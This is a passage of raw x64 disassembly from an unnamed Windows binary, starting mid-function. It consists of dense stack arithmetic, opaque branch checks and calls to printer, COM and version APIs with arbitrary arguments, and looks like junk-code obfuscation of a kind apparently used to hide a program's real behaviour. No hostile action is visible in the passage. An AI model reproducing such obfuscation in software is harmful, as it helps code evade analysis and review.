mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x19448], rax
lea rax, [rsp + 0x11ff8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0xf7cc]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x87
lea rax, [rsp + 0x12950]
mov qword [rsp + 0x20], rax
mov r9d, 0xcf
mov r8d, 0xd8
mov edx, 0x22
mov rcx, qword [rsp + 0x13198]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x16050], eax
mov rax, qword [rsp + 0x1ef10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f80]
xor ecx, eax
mov rax, qword [rsp + 0x1e6e8]
mov dword [rax], ecx
mov ecx, dword [rsp + 0x154d0]
mov eax, dword [rsp + 0x10b78]
or eax, ecx
mov dword [rsp + 0xf7cc], eax
jmp 0x14001f0e1
mov edx, dword [rsp + 0x154d0]
mov ecx, dword [rsp + 0x6e88]
call fcn.140012120
jmp 0x14001f104
mov rax, qword [rsp + 0x14650]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x142e8]
and rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rax, qword [rsp + 0xaf68]
mov rdx, qword [rsp + 0x142e8]
add rdx, rax
mov rcx, qword [rsp + 0x14650]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x1bea8]
add rax, rcx
cmp rdx, rax
jae 0x14001f22d
mov rcx, qword [rsp + 0x14650]
mov rax, qword [rsp + 0x142e8]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x118c0]
mov rax, qword [rax]
add rax, qword [rsp + 0x1bea8]
cmp rcx, rax
jbe 0x14001f1a9
mov rax, qword [0x14015e9e8]
movzx edx, word [rax]
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [0x14015d2cc], ax
mov r8d, 0xf8
lea rdx, [rsp + 0x14080]
lea rcx, [rsp + 0x18c50]
call qword [sym.imp.ole32.dll_StringFromGUID2]
mov dword [rsp + 0x154d0], eax
jmp 0x14001f1cc
mov rax, qword [rsp + 0x100f8]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x19e88]
movsx eax, word [rax]
xor ecx, eax
mov rax, qword [rsp + 0x100f8]
mov word [rax], cx
movzx edx, byte [rsp + 0x8ac1]
movzx eax, byte [0x14015f5e6]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0xd6b9], al
movzx edx, word [rsp + 0x1cd58]
mov rax, qword [rsp + 0x1650]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rdx, qword [rsp + 0x14650]
mov rdx, qword [rdx]
mov rcx, qword [rsp + 0xbec0]
call fcn.140148d70
jmp 0x14001f332
movzx eax, word [0x14015d2d0]
mov word [rsp + 0x4e00], ax
mov rdx, qword [rsp + 0x14650]
mov rax, qword [rsp + 0x1b540]
mov rax, qword [rax]
mov rdx, qword [rdx]
or rdx, rax
mov rax, qword [rsp + 0x118c0]
mov rcx, qword [rsp + 0x4c20]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
cmp rdx, rax
je 0x14001f2c7
mov edx, dword [rsp + 0xf540]
mov rcx, qword [rsp + 0x1048]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov dword [rsp + 0x18788], eax
mov rax, qword [rsp + 0x21b8]
mov ecx, dword [rsp + 0x189b4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1d364], eax
mov rcx, qword [rsp + 0x118c0]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x142e8]
mov rax, qword [rsp + 0x1b540]
mov qword [rax], rcx
mov rax, qword [rsp + 0x12028]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x10b78]
mov rax, qword [rsp + 0x15320]
mov dword [rax], ecx
mov rax, qword [rsp + 0x1a830]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12d70]
add rax, qword [rcx]
mov qword [rsp + 0x14080], rax
lea rax, [rsp + 0x10e00]
mov qword [rsp + 0x4148], rax
mov rax, qword [rsp + 0x100f8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x6078]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x11a90], ax
mov rax, qword [rsp + 0x3020]
movzx eax, byte [rax]
mov byte [rsp + 0x1f0a4], al
movzx edx, byte [rsp + 0xb681]
mov rax, qword [rsp + 0x3020]
movzx eax, byte [rax]
and edx, eax
movzx eax, byte [0x14015f5e6]
movzx ecx, byte [rsp + 0x8ac1]
sub eax, ecx
cmp edx, eax
jne 0x140147dd6
mov eax, dword [rsp + 0xf7cc]
mov dword [rsp + 0x1fe14], eax
cmp dword [rsp + 0x1fe14], 0x59629288
je 0x14001f3a3
cmp dword [rsp + 0x1fe14], 0x61eec120
je 0x14001f473
jmp 0x14001f4e2
movsx ecx, word [rsp + 0x3860]
mov rax, qword [rsp + 0x100f8]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x6078]
mov word [rax], cx
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
mov dword [rsp + 0x1fe18], eax
cmp dword [rsp + 0x1fe18], 0x9c3
je 0x14001f3e4
jmp 0x14001f454
mov rax, qword [rsp + 0x18cc0]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x4148]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x1f0a4], al
movzx ecx, word [rsp + 0x112e0]
movzx eax, word [rsp + 0x1cd58]
and ecx, eax
mov rax, qword [rsp + 0x1650]
mov word [rax], cx
movsx eax, byte [rsp + 0x19d58]
movsx ecx, byte [rsp + 0x1be30]
add eax, ecx
mov byte [rsp + 0xc140], al
mov edx, 0x55
mov ecx, 0xb2
call qword [sym.imp.KERNEL32.dll_IsValidLocale]
mov dword [rsp + 0x103f0], eax
jmp 0x14001f471
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x189b4]
or ecx, eax
mov rax, qword [rsp + 0x1ef10]
mov dword [rax], ecx
jmp 0x14001f4e2
mov rax, qword [rsp + 0x18cc0]
movzx edi, byte [rax]
mov rax, qword [rsp + 0x3020]
movzx eax, byte [rax]
movzx ecx, al
sar edi, cl
mov rax, qword [rsp + 0x4148]
movzx edx, byte [rax]
movzx eax, byte [rsp + 0x8ac1]
movzx ecx, al
mov eax, edx
shl eax, cl
cmp edi, eax
je 0x14001f4c4
mov edx, dword [rsp + 0x6e88]
mov rax, qword [rsp + 0x15320]
mov ecx, dword [rax]
call fcn.140012120
jmp 0x14001f4e2
mov rcx, qword [rsp + 0x118c0]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x142e8]
and rax, rcx
mov qword [rsp + 0xaf68], rax
cmp dword [rsp + 0x4878], 0x4948
jbe 0x14001f873
mov eax, dword [rsp + 0x10b78]
mov ecx, dword [rsp + 0xf7cc]
add ecx, eax
mov rax, qword [rsp + 0x15320]
mov dword [rax], ecx
mov eax, dword [rsp + 0x4878]
sub eax, 0x98
mov dword [rsp + 0x4878], eax
mov rcx, qword [rsp + 0x14080]
mov rax, qword [rsp + 0x19448]
sub rax, rcx
mov qword [rsp + 0x1e4b8], rax
mov rax, qword [rsp + 0x18cc0]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x1f0a4]
sub ecx, eax
mov rax, qword [rsp + 0x18cc0]
mov byte [rax], cl
movsx ecx, word [rsp + 0x11a90]
movsx eax, word [rsp + 0x4e00]
add ecx, eax
mov rax, qword [0x14015e890]
mov word [rax], cx
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x1cd58]
add ecx, eax
mov rax, qword [rsp + 0x1650]
mov word [rax], cx
movsx ecx, byte [rsp + 0x19d58]
movsx eax, byte [rsp + 0x1be30]
sub ecx, eax
mov rax, qword [rsp + 0x17808]
mov byte [rax], cl
movsx eax, word [rsp + 0x6d38]
movsx ecx, word [rsp + 0xaa5c]
add eax, ecx
mov word [rsp + 0x3860], ax
mov ecx, dword [rsp + 0x17460]
mov eax, dword [rsp + 0x3f80]
and eax, ecx
mov dword [rsp + 0x189b4], eax
mov rcx, qword [rsp + 0x4c20]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x1bea8]
xor rax, rcx
mov qword [rsp + 0x142e8], rax
mov rax, qword [rsp + 0x12028]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x154d0]
sar eax, cl
mov dword [rsp + 0xf7cc], eax
mov rcx, qword [rsp + 0x5618]
mov rax, qword [rsp + 0xd7f0]
mov rcx, qword [rcx]
or rcx, rax
mov rax, qword [rsp + 0x1a830]
mov qword [rax], rcx
movzx edx, word [rsp + 0x1cd58]
movzx eax, word [0x14015d2cc]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x112e0], ax
mov rcx, qword [rsp + 0x12d70]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x1cde0]
mov rax, qword [0x14015f9c8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1cd50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc140]
sub eax, ecx
mov byte [rsp + 0x1be30], al
movzx ecx, byte [0x14015f5e6]
movzx eax, byte [rsp + 0x10e00]
and ecx, eax
mov rax, qword [rsp + 0xd3a8]
mov byte [rax], cl
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x1cd58]
sub ecx, eax
mov rax, qword [rsp + 0x1650]
mov word [rax], cx
mov rax, qword [rsp + 0x1e6e8]
mov eax, dword [rax]
add eax, dword [rsp + 0x17460]
mov dword [rsp + 0xece4], eax
mov rcx, qword [rsp + 0x1a830]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x1e4b8]
mov rax, qword [rsp + 0x5618]
mov qword [rax], rcx
mov rax, qword [rsp + 0x14650]
mov rcx, qword [rsp + 0x4c20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xaf68], rax
mov rax, qword [rsp + 0x12028]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x10b78]
sub ecx, eax
mov rax, qword [rsp + 0x15320]
mov dword [rax], ecx
movsx ecx, byte [rsp + 0x19d58]
mov rax, qword [rsp + 0x1cd50]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x98d8]
mov byte [rax], cl
movsx ecx, word [rsp + 0xaa5c]
movsx eax, word [rsp + 0x4e00]
add ecx, eax
mov rax, qword [0x14015e890]
mov word [rax], cx
movzx ecx, word [rsp + 0x112e0]
movzx eax, word [rsp + 0x1cd58]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movsx ecx, word [rsp + 0xfd20]
movsx eax, word [0x14015d2d0]
or ecx, eax
mov rax, qword [rsp + 0x19e88]
mov word [rax], cx
movzx eax, byte [rsp + 0xd6b9]
movzx ecx, byte [rsp + 0x10e00]
xor eax, ecx
mov byte [rsp + 0x1f0a4], al
mov rax, qword [rsp + 0x1ef10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x189b4]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1e6e8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x12028]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xf7cc]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xb370]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x4c20]
mov rax, qword [rsp + 0x1bea8]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rax, qword [0x14015f9c8]
mov rax, qword [rax]
add rax, qword [rsp + 0x14080]
mov qword [rsp + 0x1e4b8], rax
movsx ecx, word [rsp + 0x6d38]
movsx eax, word [rsp + 0x3860]
add ecx, eax
mov rax, qword [rsp + 0x100f8]
mov word [rax], cx
jmp 0x14001f4e2
mov rax, qword [rsp + 0x12d70]
mov rax, qword [rax]
mov rdx, qword [rsp + 0xbec0]
and rdx, rax
mov rax, qword [rsp + 0x1a830]
mov rcx, qword [rsp + 0x6420]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
cmp rdx, rax
jl 0x14001f96c
mov eax, dword [rsp + 0x13780]
mov dword [rsp + 0x1fe1c], eax
cmp dword [rsp + 0x1fe1c], 0x84d7feac
je 0x14001f8d8
mov rax, qword [rsp + 0x12a38]
mov eax, dword [rax]
mov dword [rsp + 0x1fe24], eax
cmp dword [rsp + 0x1fe24], 0
je 0x14001f99d
mov rcx, qword [rsp + 0x15320]
mov rax, qword [rsp + 0x12028]
mov eax, dword [rax]
mov edx, dword [rcx]
sub edx, eax
mov rax, qword [rsp + 0xb370]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a48]
add eax, dword [rcx]
cmp edx, eax
jle 0x140147f3f
mov rax, qword [0x14015e890]
movsx edi, word [rax]
mov rax, qword [rsp + 0x19e88]
movsx eax, word [rax]
xor edi, eax
mov rax, qword [rsp + 0x6078]
movsx edx, word [rax]
mov rax, qword [rsp + 0x100f8]
movsx ecx, word [rax]
mov eax, edx
and eax, ecx
cmp edi, eax
jle 0x140147e9f
lea rax, [rsp + 0x6078]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xd868]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x17830]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x1810]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xd868]
mov r8, qword [rsp + 0x61e0]
mov rdx, qword [rsp + 0x1810]
mov ecx, 0xbf
call sub.VERSION.dll_VerInstallFileW
mov dword [rsp + 0x17460], eax
jmp 0x140147f22
movzx edi, word [rsp + 0x5068]
mov rax, qword [0x14015e9e8]
movzx eax, word [rax]
sub edi, eax
movzx edx, word [rsp + 0x1cd58]
mov rax, qword [rsp + 0x1650]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
cmp edi, eax
jle 0x140147f22
mov rax, qword [rsp + 0x19e88]
movsx eax, word [rax]
mov dword [rsp + 0x20170], eax
cmp dword [rsp + 0x20170], 0x71bc
je 0x140147eef
jmp 0x140147f07
mov rax, qword [rsp + 0x1a48]
mov edx, dword [rax]
mov ecx, dword [rsp + 0xf7cc]
call fcn.140012900
jmp 0x140147f22
mov rax, qword [rsp + 0x15320]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb370]
add eax, dword [rcx]
mov dword [rsp + 0x154d0], eax
mov rcx, qword [rsp + 0x1e6e8]
mov eax, dword [rsp + 0xece4]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x1e6e8]
mov dword [rax], ecx
mov rax, qword [rsp + 0xd3a8]
mov al, byte [rax]
mov byte [rsp + 0x20174], al
cmp byte [rsp + 0x20174], 4
je 0x140147f5c
jmp 0x140147f5e
jmp 0x140147f80
lea r8, [rsp + 0x3d10]
lea rdx, [rsp + 0x1a898]
mov ecx, 0xe0
call qword [sym.imp.ole32.dll_CoGetCancelObject]
mov dword [rsp + 0x16ef8], eax
lea rcx, [rsp + 0x104a0]
call qword [sym.imp.KERNEL32.dll_GetNumaHighestNodeNumber]
mov dword [rsp + 0xa284], eax
mov rax, qword [rsp + 0x4148]
mov al, byte [rax]
mov byte [rsp + 0x20178], al
cmp byte [rsp + 0x20178], 0x5b
je 0x140147fb2
jmp 0x140148003
movzx edx, word [rsp + 0x5068]
movzx eax, word [rsp + 0x1cd58]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
call qword [sym.imp.ole32.dll_CoTestCancel]
mov dword [rsp + 0x17450], eax
mov rcx, qword [rsp + 0x14650]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x1bea8]
or rax, rcx
mov qword [rsp + 0xaf68], rax
jmp 0x14014802a
mov rcx, qword [rsp + 0x6420]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x5618]
mov rax, qword [rax]
shl rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x5618]
mov qword [rax], rcx
jmp 0x1401480af
mov rdx, qword [rsp + 0x1e6e8]
mov rax, qword [rsp + 0x12a38]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [rsp + 0x16e60], eax
lea rax, [rsp + 0x14650]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xb9
lea rax, [rsp + 0x3860]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x8ac1]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xd940]
mov qword [rsp + 0x20], rax
mov r9d, 0xa1
mov r8, qword [rsp + 0x12950]
mov edx, 0xf5
mov rcx, qword [rsp + 0x6fd8]
call sub.WINSPOOL.DRV_EnumPrinterDataW
mov dword [rsp + 0x3f80], eax
mov rax, qword [rsp + 0x142e8]
mov qword [rsp + 0x20180], rax
movabs rax, 0x3a20519479548623
cmp qword [rsp + 0x20180], rax
je 0x1401480ec
movabs rax, 0x8fc33ede7b7329a5
cmp qword [rsp + 0x20180], rax
je 0x14014810c
jmp 0x1401481e5
mov rdx, qword [rsp + 0x118c0]
mov rdx, qword [rdx]
mov rcx, qword [rsp + 0x12d70]
mov rcx, qword [rcx]
call fcn.140148d70
jmp 0x1401481e5
movzx eax, word [rsp + 0x3d10]
movzx ecx, word [rsp + 0x112e0]
add eax, ecx
mov word [rsp + 0x18b28], ax
lea rax, [rsp + 0x1a48]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xa2
lea rax, [rsp + 0xdf70]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x16238]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x142e8]
mov qword [rsp + 0x20], rax
mov r9d, 0x7a
mov r8, qword [rsp + 0x61e0]
mov edx, 4
mov rcx, qword [rsp + 0x6fd8]
call sub.WINSPOOL.DRV_EnumPrinterDataW
mov dword [rsp + 0x189b4], eax
mov eax, dword [rsp + 0x6e88]
mov ecx, dword [rsp + 0x154d0]
sub ecx, eax
mov rax, qword [rsp + 0xb370]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x14650]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x142e8]
and rax, rcx
mov qword [rsp + 0x1bea8], rax
mov rcx, qword [rsp + 0x5618]
mov rax, qword [rsp + 0x6420]
mov rax, qword [rax]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x12d70]
mov qword [rax], rcx
mov rax, qword [rsp + 0xb9d8]
mov qword [rsp + 0x20188], rax
movabs rax, 0x4237f3cc143d342
cmp qword [rsp + 0x20188], rax
je 0x14014820b
jmp 0x14014820d
jmp 0x14014822d
movsx ecx, word [rsp + 0x6d38]
mov rax, qword [rsp + 0x19e88]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x100f8]
mov word [rax], cx
movzx ecx, word [0x14015d2cc]
movzx eax, word [rsp + 0x18b28]
sub ecx, eax
mov rax, qword [0x14015e9e8]
mov word [rax], cx
lea rax, [rsp + 0xd7f0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xbb
lea r9, [rsp + 0x1a350]
mov r8d, 0xa9
mov edx, 0x34
mov rcx, qword [rsp + 0x1048]
call sub.WINSPOOL.DRV_GetJobW
mov dword [rsp + 0x103f0], eax
movzx edx, byte [rsp + 0xd6b9]
mov rax, qword [rsp + 0x3020]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x10e00], al
lea r9, [rsp + 0x18b28]
mov r8d, 0x3a
lea rdx, [rsp + 0x3d10]
mov rcx, qword [rsp + 0x2e08]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x1b058], eax
mov rax, qword [rsp + 0x98d8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x1be30]
add ecx, eax
mov rax, qword [rsp + 0x98d8]
mov byte [rax], cl
mov eax, dword [rsp + 0x10b78]
mov dword [rsp + 0x20190], eax
cmp dword [rsp + 0x20190], 0x2f8c36b3
je 0x140148308
jmp 0x14014830a
jmp 0x140148323
movzx eax, word [rsp + 0x1cd58]
movzx ecx, word [0x14015d2cc]
sub eax, ecx
mov word [rsp + 0x112e0], ax
movsx eax, word [rsp + 0x6d38]
movsx ecx, word [0x14015d2c8]
sub eax, ecx
mov word [rsp + 0x11a90], ax
movzx ecx, byte [rsp + 0x1d4c0]
mov rax, qword [rsp + 0x18cc0]
movzx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0xd3a8]
mov byte [rax], cl
jmp 0x1401483e7
movzx edx, byte [rsp + 0xd6b9]
movzx eax, byte [rsp + 0xb681]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x3020]
mov byte [rax], cl
movsx edx, byte [rsp + 0x19d58]
mov rax, qword [rsp + 0x1f1c8]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0xc140], al
mov rax, qword [rsp + 0x100f8]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x19e88]
movsx eax, word [rax]
xor ecx, eax
mov rax, qword [rsp + 0x6078]
mov word [rax], cx
mov rax, qword [rsp + 0x5618]
mov rcx, qword [rsp + 0x6420]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1401601a8], rax
lea rdx, [rsp + 0x13e10]
lea rcx, str.Gracefully
call qword [sym.imp.ole32.dll_IIDFromString]
mov dword [rsp + 0x18ea4], eax
jmp 0x14014843c
mov rax, qword [rsp + 0x1cd50]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x5618]
mov r9, qword [r9]
mov r8, qword [rsp + 0xbec0]
movzx edx, byte [rsp + 0xc140]
mov rcx, qword [rsp + 0xaf68]
call fcn.140011eb0
mov al, byte [rsp + 0x8ac1]
mov byte [rsp + 0x20194], al
cmp byte [rsp + 0x20194], 0xa8
je 0x140148467
cmp byte [rsp + 0x20194], 0xd6
je 0x140148561
jmp 0x14014857e
mov rax, qword [rsp + 0x6078]
movsx edx, word [rax]
movsx eax, word [rsp + 0xaa5c]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x19e88]
mov word [rax], cx
movsx edi, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1f1c8]
movsx eax, byte [rax]
or edi, eax
movsx edx, byte [rsp + 0x19d58]
mov rax, qword [rsp + 0x98d8]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
cmp edi, eax
jle 0x140148507
lea rcx, [rsp + 0xa284]
call qword [sym.imp.ole32.dll_CoEnableCallCancellation]
mov dword [rsp + 0x17450], eax
movzx eax, byte [rsp + 0xc140]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x14080]
mov r8, qword [rsp + 0xd7f0]
mov rax, qword [rsp + 0x1228]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0xaf68]
call fcn.140011eb0
mov rax, qword [rsp + 0xd3a8]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x3020]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x18cc0]
mov byte [rax], cl
lea rdx, [rsp + 0x1c98]
lea rcx, [rsp + 0x11ff8]
call qword [sym.imp.ole32.dll_OleSetAutoConvert]
mov dword [rsp + 0x16ef8], eax
movsx eax, byte [rsp + 0x1be30]
movsx ecx, byte [rsp + 0xc140]
sub eax, ecx
mov byte [rsp + 0x19d58], al
jmp 0x14014857e
mov rcx, qword [rsp + 0x1a48]
mov eax, dword [rsp + 0x6e88]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x1a48]
mov dword [rax], ecx
jmp 0x14014860d
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
mov dword [rsp + 0x20198], eax
cmp dword [rsp + 0x20198], 0xacb
je 0x1401485b1
cmp dword [rsp + 0x20198], 0xdbb
je 0x1401485d5
jmp 0x14014860d
mov rax, qword [rsp + 0xd3a8]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x3020]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x18cc0]
mov byte [rax], cl
jmp 0x14014860d
mov rax, qword [rsp + 0x5618]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6420]
add rax, qword [rcx]
mov qword [rsp + 0xd7f0], rax
mov eax, dword [rsp + 0x154d0]
mov ecx, dword [rsp + 0x6e88]
sub ecx, eax
mov rax, qword [rsp + 0x1a48]
mov dword [rax], ecx
mov r9d, 1
lea r8, [rsp + 0xea10]
lea rdx, [rsp + 0x3860]
lea rcx, [rsp + 0x1a350]
call qword [sym.imp.ole32.dll_MonikerRelativePathTo]
mov dword [rsp + 0x1334], eax
movsx edx, word [rsp + 0x11a90]
movsx eax, word [rsp + 0x6d38]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x100f8]
mov word [rax], cx
mov al, byte [rsp + 0x1d4c0]
mov byte [rsp + 0x2019c], al
cmp byte [rsp + 0x2019c], 0xd2
je 0x140148676
jmp 0x1401486cf
mov rax, qword [rsp + 0x19e88]
movsx eax, word [rax]
movsx ecx, word [0x14015d2c8]
sub eax, ecx
mov word [rsp + 0x6d38], ax
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x17808]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x98d8]
mov byte [rax], cl
mov rax, qword [rsp + 0x1cd50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1be30]
and eax, ecx
mov byte [rsp + 0xc140], al
jmp 0x1401486eb
lea rdx, [rsp + 0x11ff8]
lea rcx, str.Salary_Couture_Decomposed_subcontractors_sutures
call qword [sym.imp.ole32.dll_CLSIDFromString]
mov dword [rsp + 0x1c864], eax
mov rcx, qword [rsp + 0x1ef10]
mov eax, dword [rsp + 0x189b4]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x1ef10]
mov dword [rax], ecx
lea r8, [rsp + 0x6420]
lea rdx, [rsp + 0x1a350]
lea rcx, [rsp + 0x3700]
call qword [sym.imp.ole32.dll_CoMarshalInterThreadInterfaceInStream]
mov dword [rsp + 0x17450], eax
mov rcx, qword [rsp + 0x1cde0]
mov rax, qword [rsp + 0xb9d8]
sub rax, rcx
mov qword [rsp + 0x14080], rax
mov al, byte [rsp + 0xb681]
mov byte [rsp + 0x201a0], al
cmp byte [rsp + 0x201a0], 0xeb
je 0x140148762
jmp 0x1401487a8
mov r9d, 1
lea r8, [rsp + 0x18cc0]
lea rdx, [rsp + 0xc140]
lea rcx, [rsp + 0x112e0]
call qword [sym.imp.ole32.dll_MonikerRelativePathTo]
mov dword [rsp + 0x1c864], eax
mov rax, qword [rsp + 0x1ef10]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x189b4]
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
movzx edx, byte [rsp + 0xd6b9]
mov rax, qword [rsp + 0x18cc0]
movzx eax, byte [rax]
imul edx, eax
movzx eax, byte [rsp + 0xb681]
movzx ecx, byte [rsp + 0x8ac1]
and eax, ecx
cmp edx, eax
jne 0x140148837
call qword [sym.imp.ole32.dll_CoSuspendClassObjects]
mov dword [rsp + 0x17450], eax
mov rax, qword [rsp + 0x14080]
mov rcx, qword [rsp + 0x1cde0]
sub rcx, rax
mov rax, qword [rsp + 0x5618]
mov qword [rax], rcx
mov rax, qword [rsp + 0xb9d8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x14080]
mov r8, qword [rsp + 0x5618]
mov r8, qword [r8]
movzx edx, word [rsp + 0xfd20]
mov rcx, qword [rsp + 0x5618]
mov rcx, qword [rcx]
call fcn.140011920
mov rax, qword [rsp + 0x12028]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x154d0]
sub eax, ecx
mov dword [rsp + 0x6e88], eax
mov rcx, qword [rsp + 0xd7f0]
mov rax, qword [rsp + 0x1cde0]
sub rax, rcx
mov qword [0x1401601a8], rax
movzx ecx, word [rsp + 0x3d10]
movzx eax, word [rsp + 0x1cd58]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rcx, qword [rsp + 0xb9d8]
mov rax, qword [rsp + 0x14080]
add rax, rcx
mov qword [rsp + 0xd7f0], rax
lea rdx, [rsp + 0x15970]
mov rcx, qword [rsp + 0x6fd8]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x14028], eax
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x1be30]
add ecx, eax
mov rax, qword [rsp + 0x1228]
movsx eax, byte [rax]
cmp ecx, eax
je 0x1401488e5
jmp 0x140148911
lea r9, [rsp + 0xd940]
lea r8, [rsp + 0x9068]
mov rdx, qword [rsp + 0xb700]
lea rcx, [rsp + 0x4c20]
call sub.VERSION.dll_VerQueryValueW
mov dword [rsp + 0xa284], eax
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1228]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
mov rax, qword [rsp + 0x1f1c8]
mov al, byte [rax]
mov byte [rsp + 0x201a4], al
cmp byte [rsp + 0x201a4], 2
je 0x14014897a
cmp byte [rsp + 0x201a4], 0x68
je 0x140148957
jmp 0x1401489bd
